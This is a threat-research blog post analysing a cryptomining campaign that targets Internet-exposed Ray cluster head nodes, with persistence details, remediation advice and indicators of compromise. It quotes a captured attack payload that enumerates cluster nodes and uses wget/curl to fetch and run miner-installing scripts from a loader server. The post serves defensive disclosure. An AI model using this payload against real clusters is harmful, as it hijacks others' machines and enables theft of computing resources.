BLOG
Threat ResearchMalwareCryptominingRayCluster Security

Cluster-scale malware delivery

March 20, 2026 · GriffinGuard Team

Large machine learning clusters are often equipped with powerful GPUs to train and run models on. These machines are an interesting target for malware authors trying to turn a quick profit by using these servers to mine cryptocurrency instead. And what is better than exploiting a single machine to mine some coins? Exploiting entire clusters in one fell swoop!

Ray: Cluster management

Ray is a "unified framework for scaling AI and python applications". This is essentially an orchestrator distributing tasks throughout a cluster of beefy machines with expensive GPUs. It is a popular open-source project with over 41K stars on GitHub, and is actively used and discussed by many data scientists.

Yet another firewall mishap

The Ray framework interfaces with the entire cluster of machines with GPUs costing several thousand euros. This kind of power should of course be carefully protected, and the endpoints should not be exposed to the Internet. This is not a vulnerability in Ray itself, but a consequence of exposing a powerful control plane without network controls.

Unfortunately, these endpoints are not always actively protected, and the Internet catches on fast. We see active exploitation that requires the Ray head node to be exposed in our infrastructure:

{"entrypoint": "python -c \"import ray,subprocess;ray.init(address='auto'); nodes=[n for n in ray.nodes() if n['Alive']]; exec('def make_task(cpus, gpus): @ray.remote(num_cpus=cpus, num_gpus=gpus) def deploy(): subprocess.run(\"chmod +x /usr/bin/wget; chmod +x /bin/wget; chmod +x /usr/local/bin/wget; chmod +x /usr/bin/curl; chmod +x /bin/curl; chmod +x /usr/local/bin/curl; wget -O /tmp/wow2.sh hxxp://91.92.241.10:235/wow2.sh 2>/dev/null || curl -o /tmp/wow2.sh hxxp://91.92.241.10:235/wow2.sh; sh /tmp/wow2.sh; wget -O /tmp/xd.sh hxxp://91.92.241.10:235/xd.sh 2>/dev/null || curl -o /tmp/xd.sh hxxp://91.92.241.10:235/xd.sh; sh /tmp/xd.sh\", shell=True) return deploy tasks=[make_task(int(n[\"Resources\"].get(\"CPU\",0)), int(n[\"Resources\"].get(\"GPU\",0))).remote() for n in nodes] ray.get(tasks)')", "runtime_env":{} }

This snippet enumerates the nodes in the entire cluster connected to the orchestrator, and attempts to download and execute two scripts. The first script wow2.sh installs a CPU-based cryptominer (XMRig) on the nodes. The second script xd.sh installs a GPU-based cryptominer (lolMiner).

Process obfuscation and persistence

The installation scripts download the actual mining software and set it up, and in doing so also set up obfuscation and persistence of the software. The XMRig CPU-based miner is set up to run under ~/.local/share/systemd/.systemd-journal, and adds a service that starts at boot-time and will restart the process in case it is stopped or crashes. This is registered in both /etc/init.d/systemd-journal and ~/.config/systemd/user/systemd-journal.service. For the GPU-based miner, the process names are: ~/.local/share/nvidia/.nvidia-smi and ~/.cache/nvidia/. More indicators of compromise are listed at the end of this post.

While for a normal process developers would call it a day, malware authors make a bit more effort. We find three more mechanisms to persist the malware.

Multiple cron jobs

  • Every 5 minutes: restart monitor service
  • Every 10 minutes: restart miner
  • Every 6 hours: re-download payload
  • On reboot: re-install everything

When multiple instances are running, the cron job will remove all but one.

Shell startup hooks injected in

  • ~/.bashrc
  • ~/.profile
  • ~/.bash_profile
  • ~/.zshrc

This will restart the miner if you open a shell.

Watchdog loop

And as icing on the cake, a monitor service is running that contains the following loop:

while true; do if miner not running → restart it if service disabled → re-enable it if cron missing → re-add it if binary missing → restore from backup sleep 30 done

If you kill it, it will come back in 30 seconds.

What to do?

If you are running Ray, make sure that the endpoints are properly protected and cannot be reached by unauthorized entities. Cleaning up the infection should be done carefully, as the infection can re-infect faster than manual intervention can keep up with. Use the indicators supplied below to identify whether you are a victim (high CPU/GPU load when idling can also be a good giveaway). Isolate all nodes in the cluster, and remove the infection one by one. A full rebuild of affected nodes should be considered the most reliable remediation. If you want to receive all files used in this investigation, please contact us!


Indicators of Compromise

# IPs
91.92.241.10 - Malware loader server
87.121.84.156 - Mining pool endpoint and scanning endpoint

# Crypto wallet addresses
12HTamjxvFLQiy4m918vp9t6pvAufC41yojPbCG9hguCSBY8ja2nvJxF3ocP9PmC6GEbNcPmHCvmudmnqy9MihSt2aN - GPU mining pool user
46aw33qHECDLbNfkJpdzT98xgsPPdxyzRfSds14uaTpW51c2vFgQJmyVygY8ThBnXYZykfKF25nt1VJFPJ1SaGfv5yMK1fd - CPU mining pool user

# Paths to check
~/.local/share/systemd/.systemd-journal
~/.local/share/systemd/.systemd-journal-backup
~/.local/share/systemd/.config.json
~/.local/share/systemd/.config-backup.json
~/.local/share/systemd/.update-script.sh
~/.cache/systemd/
~/.local/share/nvidia/.nvidia-smi
~/.local/share/nvidia/.nvidia-smi-backup
~/.local/share/nvidia/.nvidia-monitor
~/.cache/nvidia/

# Temporary staging artifacts
/tmp/.systemd-journal
/tmp/.config.json
/tmp/.wow2.sh
/tmp/.xmrig.tar.gz
/tmp/lolminerxd.tar.gz
/tmp/1.98/

# Process names
.systemd-journal  - Launched as .systemd-journal -c ~/.local/share/systemd/.config.json
.systemd-monitor
.nvidia-smi       - Launched with --algo CR29 --pool 87.121.84.156:7039
.nvidia-monitor

# Persistence IoCs
~/.config/systemd/user/systemd-journal.service
~/.config/systemd/user/systemd-monitor.service
~/.config/systemd/user/nvidia-telemetry.service
~/.config/systemd/user/nvidia-monitor.service

# Cron job IoCs — look for entries containing any of:
.systemd-journal
.systemd-monitor
.nvidia-smi
.nvidia-monitor
.update-script.sh

# And with schedules:
*/5 * * * *
*/10 * * * *
0 */6 * * *
@reboot

# Shell startup injection — look for all IoCs in:
~/.bashrc
~/.profile
~/.bash_profile
~/.zshrc

Want to see these attacks before they hit you?

GriffinGuard operates a massive network of internet-facing honeypots that capture real-world exploitation attempts against exposed infrastructure, including cluster orchestration layers like Ray.

See what attackers are actively doing at the Dashboard or look up any suspicious IP in the IP Lookup tool.